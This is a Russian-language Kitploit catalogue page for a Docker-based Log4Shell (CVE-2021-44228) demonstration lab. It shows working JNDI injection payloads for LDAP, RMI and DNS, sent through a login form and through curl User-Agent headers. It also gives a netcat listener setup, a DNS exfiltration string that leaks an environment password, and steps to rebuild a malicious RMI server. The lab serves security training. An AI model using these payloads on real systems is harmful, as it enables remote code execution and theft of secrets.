Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
log4j-poc — Демонстрация эксплойта LDAP RCE на основе Docker для CVE-2021-44228 Log4Shell | Kitploit
Инструменты/GitHubGitHub/cyberxml/log4j-poc
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubcyberxml/log4j-poc

log4j-poc

Демонстрация эксплойта LDAP RCE на основе Docker для CVE-2021-44228 Log4Shell

Репозиторий
72333 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

log4j-poc

Эксплойт LDAP RCE для CVE-2021-44228 Log4Shell

Описание

Демонстрационный сервер Tomcat 8 на порту 8080 содержит уязвимое приложение (log4shell), и сам сервер также уязвим к атакам через User-Agent.

Удаленный эксплойт в этой демонстрации основан на том, что находится по адресу https://github.com/kozmer/log4j-shell-poc

Этот демонстрационный сервер Tomcat (Tomcat 8.5.3, Java 1.8.0u51) был перенастроен для использования Log4J2 в качестве системы логирования — нестандартная конфигурация.

Более новый сервер Bitnami теперь доступен на порту 8888. Он также настроен для логирования Log4J2 и работает на Tomcat 9.0.55 и OpenJDK 11.0.13.

Эксплойт RMI на сервере Tomcat 9 / Java 11 описан здесь: https://www.veracode.com/blog/research/exploiting-jndi-injections-java (3 января 2019) Майклом Степанкиным.

Скрипт обнаружения проверяет уязвимости User-Agent и взят отсюда: https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6

Предварительные требования

Этот код требует Docker и Docker Compose

Установка

root@kitploit:~
git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# Отредактируйте docker-compose.yml, чтобы настроить переменные окружения по необходимости.
#   POC_ADDR — адрес контейнера cve-poc
#   LISTENER_ADDR — адрес слушателя 'nc', например, хост Docker
# IP-адрес слушателя — это адрес машины, на которой вы будете запускать слушатель netcat 'nc'
# Это может быть локальный IP хост-машины Docker.
docker-compose build

Запуск демонстрации атаки на веб-приложение

  1. Настройте слушатель Docker в первом терминале
    1. nc -lv 10.10.10.31 9001
  2. Запустите контейнеры Docker во втором терминале
    1. docker-compose up
  3. Перейдите к веб-приложению на порту 8080
    1. Перейдите по адресу http://10.10.10.31:8080/log4shell
      1. Введите имя пользователя: admin
      2. Введите пароль: password
      3. Нажмите кнопку «login»
      4. Вы увидите приветственный экран
    2. Вернитесь к форме входа по адресу http://10.10.10.31:8080/log4shell
      1. Введите имя пользователя ${jndi:ldap://172.16.238.11:1389/a}
      2. Нажмите кнопку «login»
      3. Проверьте подключение на вашем слушателе nc

Запуск демонстрации атаки через User-Agent

  1. Настройте слушатель Docker в первом терминале
    1. nc -lv 10.10.10.31 9001
  2. Запустите контейнеры Docker во втором терминале
    1. docker-compose up
  3. В третьем терминале выполните следующую команду. Второй IP — это хост Docker
    1. curl -A "\${jndi:ldap://172.16.238.11:1389/a}" http://10.10.10.31:8080/log4shell

Запуск демонстрации DNS Exfil на новейшей версии Java 11

  1. Запустите контейнеры Docker в терминале
    1. docker-compose up
  2. Во втором терминале выполните следующую команду. IP — это IP-адрес хоста Docker
    1. curl -A "\${jndi:dns://10.10.10.31/\${env:POC_PASSWORD}}" http://10.10.10.31:8888/log4shell/
  3. Уязвимый веб-сервер попытается выполнить TXT-запрос по указанному IP. См. log4j-dns_exfil.pcap

Запуск демонстрации RMI RCE на новейшей версии Java 11

У меня возникли проблемы с аргументом командной строки для целевого пинга. Поэтому вам придётся скомпилировать самостоятельно.

Компиляция

  1. Запустите контейнеры Docker в терминале
    1. docker-compose up
  2. В другом терминале войдите в cve-poc
    1. docker exec -it log4j-poc_cve-poc_1 /bin/bash
  3. Остановите запущенный экземпляр RMIServerPOC
  4. Перейдите в каталог rmi-poc
    1. cd /home/user/rmi-poc
  5. Отредактируйте RMIServerPOC.java, заменив 10.10.10.31 на вашу цель для пинга
  6. Перекомпилируйте
    1. javac -cp catalina.jar:. RMIServerPOC.java
  7. Запустите сервер
    1. javac -cp catalina.jar:. RMIServerPOC 127.0.0.1

Запуск демонстрации RMI RCE

  1. Запустите контейнеры Docker в терминале
    1. docker-compose up
  2. Во втором терминале выполните следующую команду. IP — это IP-адрес хоста Docker
    1. curl -A "\${jndi:rmi://172.16.238.11:1097/Object}" http://10.10.10.31:8888/
  3. Уязвимый веб-сервер загрузит сериализованный вредоносный класс с RMI-сервера для класса, который уже существует в среде Tomcat.
  4. Это приведёт к пингу IP-адреса, указанного в разделе компиляции.

Обнаружение уязвимости UA

  1. cd scripts
  2. python3 log4j_rce_check.py http://10.10.10.31:8080/log4shell --attacker-host 10.10.10.31:11389 --timeout=2
  3. Вам придётся убить процесс; пока неясно, почему он зависает
Скачать инструмент